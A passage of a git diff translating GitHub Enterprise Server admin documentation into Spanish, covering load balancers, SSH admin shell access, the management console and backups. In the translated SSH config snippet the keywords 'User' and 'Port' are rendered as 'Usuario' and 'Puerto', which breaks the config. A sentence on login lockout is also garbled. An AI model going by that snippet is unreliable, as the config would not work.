-| 25 | SMTP | Support for SMTP with encryption (STARTTLS). |
+| Port (Puerto) | Servicio | Descripción                                    |
+| ------------- | -------- | ---------------------------------------------- |
+| 25            | SMTP     | Soporte para SMTP con encriptación (STARTTLS). |
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
index 8f8fdadc5a..5e073a8eb9 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
@@ -1,8 +1,8 @@
 ---
-title: Using GitHub Enterprise Server with a load balancer
-intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} appliance or a pair of appliances in a High Availability configuration.'
+title: Utilizar el servidor de GitHub Enterprise con un balanceador de carga
+intro: 'Utiliza un balanceador de carga frente a un aparato único del {% data variables.product.prodname_ghe_server %} o un par de aparatos en una configuración de alta disponibilidad.'
 redirect_from:
-  - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer/
+  - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer
   - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer
   - /enterprise/admin/configuration/using-github-enterprise-server-with-a-load-balancer
   - /admin/configuration/using-github-enterprise-server-with-a-load-balancer
@@ -14,56 +14,54 @@ topics:
   - High availability
   - Infrastructure
   - Networking
-shortTitle: Use a load balancer
+shortTitle: Utilizar un balanceador de carga
 ---
 
-## About load balancers
+## Acerca de los balanceadores de carga
 
 {% data reusables.enterprise_clustering.load_balancer_intro %}
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
 
-## Handling client connection information
+## Manejar información de conexión de clientes
 
-Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost.
+Debido a que las conexiones de cliente al {% data variables.product.prodname_ghe_server %} provienen del balanceador de carga, se puede perder la dirección IP del cliente.
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
 {% data reusables.enterprise_clustering.proxy_xff_firewall_warning %}
 
-### Enabling PROXY protocol support on {% data variables.product.product_location %}
+{% data reusables.enterprise_installation.terminating-tls %}
 
-We strongly recommend enabling PROXY protocol support for both your appliance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt).
+### Habilitar soporte para protocolo de PROXY en {% data variables.product.product_location %}
+
+Recomendamos firmemente habilitar el soporte para protocolo de PROXY para tu aparato y el balanceador de carga. Utiliza las instrucciones provistas por tu proveedor para habilitar el protocolo PROXY en tu balanceador de carga. Para obtener más información, consulta [la documentación de protocolo PROXY](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt).
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Enable support for PROXY protocol**.
-![Checkbox to enable support for PROXY protocol](/assets/images/enterprise/management-console/enable-proxy.png)
+3. Dentro de **External load balancers (Balanceadores de carga externos)**, selecciona **Enable support for PROXY protocol (Habilitar soporte para el protocolo de PROXY)**. ![Casilla de verificación para habilitar el soporte para el protocolo PROXY](/assets/images/enterprise/management-console/enable-proxy.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.product_location %}
+### Habilitar soporte para X-Forwarded-For en {% data variables.product.product_location %}
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
-{% data reusables.enterprise_installation.terminating-tls %}
-
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**.
-![Checkbox to allow the HTTP X-Forwarded-For header](/assets/images/enterprise/management-console/allow-xff.png)
+3. Dentro de **External load balancers (Balanceadores de carga externos)**, selecciona **Allow HTTP X-Forwarded-For header (Permitir encabezados HTTP X-Forwarded-For)**. ![Casilla de verificación para permitir el encabezado de HTTP X-Forwarded-For](/assets/images/enterprise/management-console/allow-xff.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-## Configuring health checks
+## Configurar la revisión de estado
 
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the appliance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica appliance before it will begin serving requests. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+Las comprobaciones de estado permiten que un balanceador de carga deje de enviar tráfico a un nodo que no responde si una comprobación preconfigurada falla en ese nodo. Si el aparato está fuera de línea debido a un mantenimiento o una falla inesperada, el balanceador de carga puede mostrar una página de estado. En una configuración de alta disponibilidad (HA), un balanceador de carga puede usarse como parte de una estrategia de conmutación por error. Sin embargo, no está admitida la conmutación por error automática de los pares de HA. Debes impulsar de forma manual el aparato réplica antes de que comience con las consultas activas. Para obtener más información, consulta "[Configurar el {% data variables.product.prodname_ghe_server %} para alta disponibilidad](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
index c0e8a764c7..88ba9fa15e 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing the administrative shell (SSH)
+title: Acceder al shell administrativo (SSH)
 redirect_from:
   - /enterprise/admin/articles/ssh-access
   - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access
@@ -19,61 +19,61 @@ topics:
   - Enterprise
   - Fundamentals
   - SSH
-shortTitle: Access the admin shell (SSH)
+shortTitle: Acceder al shell administrativo (SSH)
 ---
-## About administrative shell access
 
-If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122.
+## Acerca del acceso al shell administrativo
 
-## Enabling access to the administrative shell via SSH
+Si tienes acceso SSH al shell administrativo, puedes ejecutar las utilidades de la línea de comando del {% data variables.product.prodname_ghe_server %}. El acceso SSH también es útil para la solución de problemas, para ejecutar copias de seguridad y para configurar la replicación. El acceso SSH administrativo se administra por separado desde el acceso SSH de Git y es accesible solo desde el puerto 122.
 
-To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys.
+## Habilitar el acceso al shell administrativo por medio de SSH
+
+Para habilitar el acceso SSH administrativo, debes agregar tu llave pública SSH a tu lista de llaves autorizadas de la instancia.
 
 {% tip %}
 
-**Tip:** Changes to authorized SSH keys take effect immediately.
+**Consejo:** Los cambios en las claves SSH entran en vigor de inmediato.
 
 {% endtip %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-3. Under "SSH access", paste your key into the text box, then click **Add key**.
-  ![Text box and button for adding an SSH key](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
+3. En "SSH access" (Acceso SSH), pega tu clave en el cuadro de texto, luego haz clic en **Add key** (Agregar clave). ![Cuadro te texto y botón para agregar una clave SSH](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Connecting to the administrative shell over SSH
+## Conectarse con el shell administrativo por SSH
 
-After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122.
+Después de que hayas agregado tu clave SSH a la lista, conéctate a la instancia por SSH como el usuario `admin` en el puerto 122.
 
 ```shell
 $ ssh -p 122 admin@github.example.com
-Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1
+Último inicio de sesión: dom 9 de nov 07:53:29 2014 desde 169.254.1.1
 admin@github-example-com:~$ █
 ```
 
-### Troubleshooting SSH connection problems
+### Solucionar problemas de conexión al SSH
 
-If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.product.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use.
+Si te encuentras con el error `Permiso denegado (publickey)` cuando intentas conectarte a {% data variables.product.product_location %} por medio de SSH, confirma que te estés conectando por el puerto 122. Puede que debas especificar de manera explícita qué clave SSH privada utilizar.
 
-To specify a private SSH key using the command line, run `ssh` with the `-i` argument.
+Para especificar una clave SSH utilizando la línea de comando, ejecuta `ssh` con el argumento `-i`.
 
 ```shell
 ssh -i /path/to/ghe_private_key -p 122 admin@<em>hostname</em>
 ```
 
-You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`).
+También puedes especificar una llave SSH privada utilizando el archivo de configuración SSH (`~/.ssh/config`).
 
 ```shell
 Host <em>hostname</em>
   IdentityFile /path/to/ghe_private_key
-  User admin
-  Port 122
+  Usuario Admin
+  Puerto 122
 ```
 
-## Accessing the administrative shell using the local console
+## Acceder al shell administrativo utilizando la consola local
 
-In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally. Sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}.
+En una situación de emergencia, por ejemplo, si el SSH no está disponible, puedes acceder al shell administrativo de manera local. Inicia sesión como usuario `admin` y utiliza la contraseña establecida durante la configuración inicial de {% data variables.product.prodname_ghe_server %}.
 
-## Access limitations for the administrative shell
+## Limitaciones de acceso al shell administrativo
 
-Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please contact {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract.
+El acceso al shell administrativo se permite solo para la solución de problemas y para realizar procedimientos de operaciones documentadas. Si modificas archivos del sistema y de la aplicación, ejecutas programas o instalas paquetes de software incompatibles se puede invalidar tu contrato de asistencia. Contáctate con {% data variables.contact.contact_ent_support %} si tienes alguna pregunta acerca de las actividades que permite tu contrato de asistencia.
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
index d78d9ed5dd..586c424a28 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing the management console
+title: Acceder a la consola de administración
 intro: '{% data reusables.enterprise_site_admin_settings.about-the-management-console %}'
 redirect_from:
   - /enterprise/admin/articles/about-the-management-console
@@ -17,39 +17,40 @@ type: how_to
 topics:
   - Enterprise
   - Fundamentals
-shortTitle: Access the management console
+shortTitle: Accede a la consola de administración
 ---
-## About the {% data variables.enterprise.management_console %}
 
-Use the {% data variables.enterprise.management_console %} for basic administrative activities:
-- **Initial setup**: Walk through the initial setup process when first launching {% data variables.product.product_location %} by visiting {% data variables.product.product_location %}'s IP address in your browser.
-- **Configuring basic settings for your instance**: Configure DNS, hostname, SSL, user authentication, email, monitoring services, and log forwarding on the Settings page.
-- **Scheduling maintenance windows**: Take {% data variables.product.product_location %} offline while performing maintenance using the {% data variables.enterprise.management_console %} or administrative shell.
-- **Troubleshooting**: Generate a support bundle or view high level diagnostic information.
-- **License management**: View or update your {% data variables.product.prodname_enterprise %} license.
+## Acerca de {% data variables.enterprise.management_console %}
 
-You can always reach the {% data variables.enterprise.management_console %} using {% data variables.product.product_location %}'s IP address, even when the instance is in maintenance mode, or there is a critical application failure or hostname or SSL misconfiguration.
+Utiliza {% data variables.enterprise.management_console %} para las actividades administrativas básicas:
+- **Configuración inicial**: Atraviesa el proceso de configuración inicial durante el primer lanzamiento {% data variables.product.product_location %} visitando la dirección IP de {% data variables.product.product_location %} en tu navegador.
+- **Establecer configuraciones básicas para tu instancia**: Configura DNS, nombre del host, SSL, autenticación de usuario, correo electrónico, servicios de monitoreo y redireccionamiento de registro en la página de Configuraciones.
+- **Programar ventanas de mantenimiento**: Trabaja sin conexión en {% data variables.product.product_location %} mientras realizas mantenimiento con {% data variables.enterprise.management_console %} o con el shell administrativo.
+- **Solucionar problemas**: Genera un paquete de soporte o visualiza la información de diagnóstico de alto nivel.
+- **Administración de licencias**: Visualiza o actualiza tu licencia {% data variables.product.prodname_enterprise %}.
 
-To access the {% data variables.enterprise.management_console %}, you must use the administrator password established during initial setup of {% data variables.product.product_location %}. You must also be able to connect to the virtual machine host on port 8443. If you're having trouble reaching the {% data variables.enterprise.management_console %}, please check intermediate firewall and security group configurations.
+También puedes acceder a {% data variables.enterprise.management_console %} utilizando la dirección IP de {% data variables.product.product_location %}, incluso cuando la instancia se encuentre en modo de mantenimiento o si ocurre una falla crítica en la aplicación o si están mal configurados el nombre del host o la SSL.
 
-## Accessing the {% data variables.enterprise.management_console %} as a site administrator
+Para acceder a {% data variables.enterprise.management_console %}, debes utilizar la contraseña de administrador establecida durante la configuración inicial de {% data variables.product.product_location %}. También debes poder conectarte con el host de la máquina virtual en el puerto 8443. Si tienes problemas para acceder a {% data variables.enterprise.management_console %}, controla las configuraciones del firewall intermedio y del grupo de seguridad.
 
-The first time that you access the {% data variables.enterprise.management_console %} as a site administrator, you must upload your {% data variables.product.prodname_enterprise %} license file to authenticate into the app. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)."
+## Acceder a la {% data variables.enterprise.management_console %} como administrador del sitio
+
+La primera vez que accedas a la {% data variables.enterprise.management_console %} como administrador de sitio, deberás cargar tu archivo de licencia de {% data variables.product.prodname_enterprise %} para autenticarte en la app. Paa obtener más información, consulta la sección "[Administrar tu licencia de {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)".
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.type-management-console-password %}
 
-## Accessing the {% data variables.enterprise.management_console %} as an unauthenticated user
+## Acceder a {% data variables.enterprise.management_console %} como usuario sin autenticación
 
-1. Visit this URL in your browser, replacing `hostname` with your actual {% data variables.product.prodname_ghe_server %} hostname or IP address:
+1. Visita esta URL en tu navegador, reemplazando el `nombre del host` por tu nombre del host o tu dirección IP actuales {% data variables.product.prodname_ghe_server %}:
   ```shell
   http(s)://HOSTNAME/setup
   ```
 {% data reusables.enterprise_management_console.type-management-console-password %}
 
-## Unlocking the {% data variables.enterprise.management_console %} after failed login attempts
+## Desbloquear {% data variables.enterprise.management_console %} después de los intentos de inicio de sesión fallidos
 
-The {% data variables.enterprise.management_console %} locks after ten failed login attempts are made in the span of ten minutes. You must wait for the login screen to automatically unlock before attempting to log in again. The login screen automatically unlocks as soon as the previous ten minute period contains fewer than ten failed login attempts. The counter resets after a successful login occurs.
+Los bloqueos de la {% data variables.enterprise.management_console %} después de diez intentos de inicio de sesión fallidos se hacen en el transcurso de diez minutos. Debes esperar para que la pantalla de inicio de sesión se desbloquee automáticamente antes de intentar iniciar sesión nuevamente. La pantalla de inicio de sesión se desbloquea automáticamente siempre que el período de diez minutos previo contenga menos de diez intentos de inicio de sesión fallidos. El contador se reinicia después de que ocurra un inicio de sesión exitoso.
 
-To immediately unlock the {% data variables.enterprise.management_console %}, use the `ghe-reactivate-admin-login` command via the administrative shell. For more information, see "[Command line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)."
+Para desbloquear de inmediato la {% data variables.enterprise.management_console %}, utilice el comando `ghe-reactivate-admin-login` a través del shell administrativo. Para obtener más información, consulta "[Utilidades de la línea de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)" y "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)."
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
index 2e8a16c345..2c3a6f3bb8 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
@@ -2,8 +2,8 @@
 title: Command-line utilities
 intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.'
 redirect_from:
-  - /enterprise/admin/articles/viewing-all-services/
-  - /enterprise/admin/articles/command-line-utilities/
+  - /enterprise/admin/articles/viewing-all-services
+  - /enterprise/admin/articles/command-line-utilities
   - /enterprise/admin/installation/command-line-utilities
   - /enterprise/admin/configuration/command-line-utilities
   - /admin/configuration/command-line-utilities
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
index 7a347ea3ce..bc5fe2d7bd 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring backups on your appliance
-shortTitle: Configuring backups
+title: Configurar copias de seguridad en tu aparato
+shortTitle: Configurar respaldos
 redirect_from:
   - /enterprise/admin/categories/backups-and-restores
   - /enterprise/admin/articles/backup-and-recovery
@@ -14,7 +14,7 @@ redirect_from:
   - /enterprise/admin/installation/configuring-backups-on-your-appliance
   - /enterprise/admin/configuration/configuring-backups-on-your-appliance
   - /admin/configuration/configuring-backups-on-your-appliance
-intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.product.product_location %} by configuring automated backups.'
+intro: 'Como parte de un plan de recuperación ante desastres, puedes proteger los datos de producción en {% data variables.product.product_location %} configurando copias de seguridad automáticas.'
 versions:
   ghes: '*'
 type: how_to
@@ -24,117 +24,118 @@ topics:
   - Fundamentals
   - Infrastructure
 ---
-## About {% data variables.product.prodname_enterprise_backup_utilities %}
 
-{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.product.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host.
+## Acerca de {% data variables.product.prodname_enterprise_backup_utilities %}
 
-Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest CPU/IO priority. You do not need to schedule a maintenance window to perform a backup.
+{% data variables.product.prodname_enterprise_backup_utilities %} es un sistema de copias de seguridad que instalas en un host separado, el cual realiza instantáneas de copias de seguridad de {% data variables.product.product_location %} en intervalos regulares a través de una conexión de red SSH segura. Puedes utilizar una instantánea para restablecer una instancia existente del {% data variables.product.prodname_ghe_server %} a su estado previo desde el host de copias de seguridad.
 
-For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme).
+Solo se transferirán por la red y ocuparán espacio de almacenamiento físico adicional los datos que se hayan agregado después de esa última instantánea. Para minimizar el impacto en el rendimiento, las copias de seguridad se realizan en línea con la prioridad CPU/IO más baja. No necesitas programar una ventana de mantenimiento para realizar una copia de seguridad.
 
-## Prerequisites
+Para obtener información más detallada sobre las funciones, los requisitos y el uso avanzado, consulta [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme).
 
-To use {% data variables.product.prodname_enterprise_backup_utilities %}, you must have a Linux or Unix host system separate from {% data variables.product.product_location %}.
+## Prerrequisitos
 
-You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data.
+Para utilizar {% data variables.product.prodname_enterprise_backup_utilities %}, debes tener un sistema de host Linux o Unix separado de {% data variables.product.product_location %}.
 
-We recommend that the backup host and {% data variables.product.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site.
+También puedes incorporar {% data variables.product.prodname_enterprise_backup_utilities %} en un entorno existente para almacenar los datos críticos de manera permanente y a largo plazo.
 
-Physical storage requirements will vary based on Git repository disk usage and expected growth patterns:
+Recomendamos que exista una distancia geográfica entre el host de copias de seguridad y {% data variables.product.product_location %}. Esto asegura que las copias de seguridad estén disponibles para su recuperación en el caso de que ocurra un desastre significativo o una interrupción de red en el sitio principal.
 
-| Hardware | Recommendation |
-| -------- | --------- |
-| **vCPUs**  | 2 |
-| **Memory** | 2 GB |
-| **Storage** | Five times the primary instance's allocated storage |
+Los requisitos de almacenamiento físico variarán en función del uso del disco del repositorio de Git y de los patrones de crecimiento esperados:
 
-More resources may be required depending on your usage, such as user activity and selected integrations.
+| Hardware           | Recomendación                                                    |
+| ------------------ | ---------------------------------------------------------------- |
+| **vCPU**           | 2                                                                |
+| **Memoria**        | 2 GB                                                             |
+| **Almacenamiento** | Cinco veces el almacenamiento asignado de la instancia principal |
 
-## Installing {% data variables.product.prodname_enterprise_backup_utilities %}
+Es posible que se requieran más recursos según su uso, como la actividad del usuario y las integraciones seleccionadas.
+
+## Instalar {% data variables.product.prodname_enterprise_backup_utilities %}
 
 {% note %}
 
-**Note:** To ensure a recovered appliance is immediately available, perform backups targeting the primary instance even in a Geo-replication configuration.
+**Nota:** Para asegurar que un aparato recuperado esté disponible de inmediato, realiza copias de seguridad apuntando a la instancia principal, incluso en una configuración de replicación geográfica.
 
 {% endnote %}
 
-1. Download the latest [{% data variables.product.prodname_enterprise_backup_utilities %} release](https://github.com/github/backup-utils/releases) and extract the file with the `tar` command.
+1. Desgarga el último lanzamiento de [{% data variables.product.prodname_enterprise_backup_utilities %} ](https://github.com/github/backup-utils/releases) y extrae el archivo con el comando `tar`.
   ```shell
-  $ tar -xzvf /path/to/github-backup-utils-v<em>MAJOR.MINOR.PATCH</em>.tar.gz	  
+  $ tar -xzvf /path/to/github-backup-utils-v<em>MAJOR.MINOR.PATCH</em>.tar.gz     
   ```
-2. Copy the included `backup.config-example` file to `backup.config` and open in an editor.
-3. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address.
+2. Copia el archivo incluido `backup.config-example` en `backup.config` y ábrelo en un editor.
+3. Configura el valor `GHE_HOSTNAME` al {% data variables.product.prodname_ghe_server %} primario del nombre del host de tu instancia o dirección IP.
 
   {% note %}
 
-  **Note:** If your {% data variables.product.product_location %} is deployed as a cluster or in a high availability configuration using a load balancer, the `GHE_HOSTNAME` can be the load balancer hostname, as long as it allows SSH access (on port 122) to {% data variables.product.product_location %}.
+  **Nota:** Si tu {% data variables.product.product_location %} se despliega como un clúster o en una configuración de disponibilidad alta utilizando un balanceador de carga, el `GHE_HOSTNAME` puede ser el nombre de host del balanceador de carga siempre y cuando permita acceso por SSH a {% data variables.product.product_location %} (por el puerto 122).
 
   {% endnote %}
 
-4. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots.
-5. Open your primary instance's settings page at `https://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see [Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/).
-6. Verify SSH connectivity with {% data variables.product.product_location %} with the `ghe-host-check` command.
+4. Configura el valor `GHE_DATA_DIR` en la ubicación del sistema de archivos donde deseas almacenar las instantáneas de copia de seguridad.
+5. Abre la página de configuración de tu instancia primaria en `https://HOSTNAME/setup/settings` y agrega la clave SSH del host de copia de seguridad a la lista de claves SSH autorizadas. Para obtener más información, consulta [Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/).
+6. Verifica la conectividad SSH con {% data variables.product.product_location %} con el comando `ghe-host-check`.
   ```shell
-  $ bin/ghe-host-check		  
-  ```		  
-  7. To create an initial full backup, run the `ghe-backup` command.
+  $ bin/ghe-host-check        
+  ```
+  7. Para crear una copia de respaldo completa inicial, ejecuta el comando `ghe-backup`.
   ```shell
-  $ bin/ghe-backup		  
+  $ bin/ghe-backup        
   ```
 
-For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme).
+Para obtener más información sobre uso avanzado, consulta el archivo README en [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
 
-## Scheduling a backup
+## Programar una copia de seguridad
 
-You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed.
+Puedes programar copias de seguridad regulares en el host de copia de seguridad utilizando el comando `cron(8)` o un servicio de programación de comando similar. La frecuencia de copias de seguridad configurada dictará el peor caso de Punto Objetivo de Recuperación (RPO) de tu plan de recuperación. Por ejemplo, si has programado que la copia de seguridad se ejecute todos los días a la medianoche, podrías perder hasta 24 horas de datos en un escenario de desastre. Recomendamos comenzar con un cronograma de copias de seguridad por hora, que garantice un peor caso máximo de una hora de pérdida de datos, si los datos del sitio principal se destruyen.
 
-If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups).
+Si los intentos de copias de seguridad se superponen, el comando `ghe-backup` se detendrá con un mensaje de error que indicará la existencia de una copia de seguridad simultánea. Si esto ocurre, recomendamos que disminuyas la frecuencia de tus copias de seguridad programadas. Para obtener más información, consulta la sección "Programar copias de seguridad" del archivo README en [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#scheduling-backups).
 
-## Restoring a backup
+## Recuperar una copia de seguridad
 
-In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.product.product_location %} by provisioning another {% data variables.product.prodname_enterprise %} appliance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} appliance as an authorized SSH key before restoring an appliance.
+En el caso de una interrupción de red prolongada o de un evento catastrófico en el sitio principal, puedes restablecer {% data variables.product.product_location %} proporcionando otro aparato para {% data variables.product.prodname_enterprise %} y haciendo un restablecimiento desde el host de copias de seguridad. Debes agregar la clave SSH del host de copias de seguridad en el aparato objetivo {% data variables.product.prodname_enterprise %} como una clave SSH autorizada antes de restablecer un aparato.
 
 {% ifversion ghes %}
 {% note %}
 
-**Note:** If {% data variables.product.product_location %} has {% data variables.product.prodname_actions %} enabled, you must first configure the {% data variables.product.prodname_actions %} external storage provider on the replacement appliance before running the `ghe-restore` command. For more information, see "[Backing up and restoring {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_actions %} enabled](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)."
+**Nota:** Si {% data variables.product.product_location %} tiene habilitadas las {% data variables.product.prodname_actions %}, primero deberás configurar el proveedor de almacenamiento externo de {% data variables.product.prodname_actions %} en el aplicativo de repuesto antes de ejecutar el comando `ghe-restore`. Para obtener más información, consulta la sección "[Respaldar y restablecer a {% data variables.product.prodname_ghe_server %} con las {% data variables.product.prodname_actions %} habilitadas](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)".
 
 {% endnote %}
 {% endif %}
 
 {% note %}
 
-**Note:** When performing backup restores to {% data variables.product.product_location %}, the same version supportability rules apply. You can only restore data from at most two feature releases behind.
+**Nota:** Cuando realizas restauraciones de respaldo hacia {% data variables.product.product_location %} aplicarán las mismas reglas de compatibilidad de versión. Solo puedes restablecer datos de por lo mucho dos lanzamientos de características anteriores.
 
-For example, if you take a backup from GHES 3.0.x, you can restore it into a GHES 3.2.x instance. But, you cannot restore data from a backup of GHES 2.22.x onto 3.2.x, because that would be three jumps between versions (2.22 > 3.0 > 3.1 > 3.2). You would first need to restore onto a 3.1.x instance, and then upgrade to 3.2.x.
+Por ejemplo, si tomas un respaldo de GHES 3.0.x, puedes restablecerlo a la instancia GHES 3.2.x. Pero no puedes restablecer datos desde un respaldo de GHES 2.22.x hacia 3.2.x, ya que esto sería tres saltos entre versiones (2.22 > 3.0 > 3.1 > 3.2). Primero necesitarías restablecer a una instancia 3.1.x y luego mejorar a una 3.2.x.
 
 {% endnote %}
 
-To restore {% data variables.product.product_location %} from the last successful snapshot, use the `ghe-restore` command. You should see output similar to this:
+Para restablecer {% data variables.product.product_location %} desde la última instantánea exitosa, usa el comando `ghe-restore`. Debes ver un resultado similar a este:
 
 ```shell
